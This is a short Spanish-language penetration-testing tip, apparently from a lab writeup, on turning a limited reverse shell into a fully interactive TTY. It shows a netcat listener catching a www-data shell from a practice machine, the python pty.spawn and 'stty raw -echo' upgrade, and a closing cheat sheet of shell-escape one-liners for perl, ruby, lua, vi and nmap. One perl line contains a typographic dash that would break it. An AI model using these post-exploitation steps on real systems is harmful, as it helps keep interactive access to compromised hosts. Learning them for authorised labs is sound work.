Hay algunas veces que la shell que tenemos esta muy limitada y no podemos hacer cosas como usar las flechitas, no hay tab ni su.

Ahora como arreglarlo? Si la maquina tiene python es sencillo

root@Kali2:~/Desktop# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.10.24] 51748
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 15:16:02 up  1:17,  0 users,  load average: 0.00, 0.00, 0.00
USER 	TTY  	FROM         	LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ^[[D^[[A^[[C^[[B      
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@haircut:/$ ^Z
//control + Z
[1]+  Stopped             	nc -lvnp 1234
root@Kali2:~/Desktop# stty raw -echo
//fg
root@Kali2:~/Desktop# nc -lvnp 1234   	 
//enter
www-data@haircut:/$ cd
bin/        	lib/        	root/       	usr/
boot/       	lib64/      	run/        	var/
dev/        	lost+found/ 	sbin/       	vmlinuz
etc/        	media/      	snap/       	vmlinuz.old
home/       	mnt/        	srv/       	 
initrd.img  	opt/        	sys/       	 
initrd.img.old  proc/       	tmp/       	 
www-data@haircut:/$    

Solo los comandos serían

python3 -c 'import pty;pty.spawn("/bin/bash");'
control z
stty raw -echo
fg
enter

 

Otras opciones porq no siempre tendremos python

python -c 'import pty; pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within IRB)
exec "/bin/sh"
(From within vi)
:!bash
(From within vi)
:set shell=/bin/bash:shell
(From within nmap)
!sh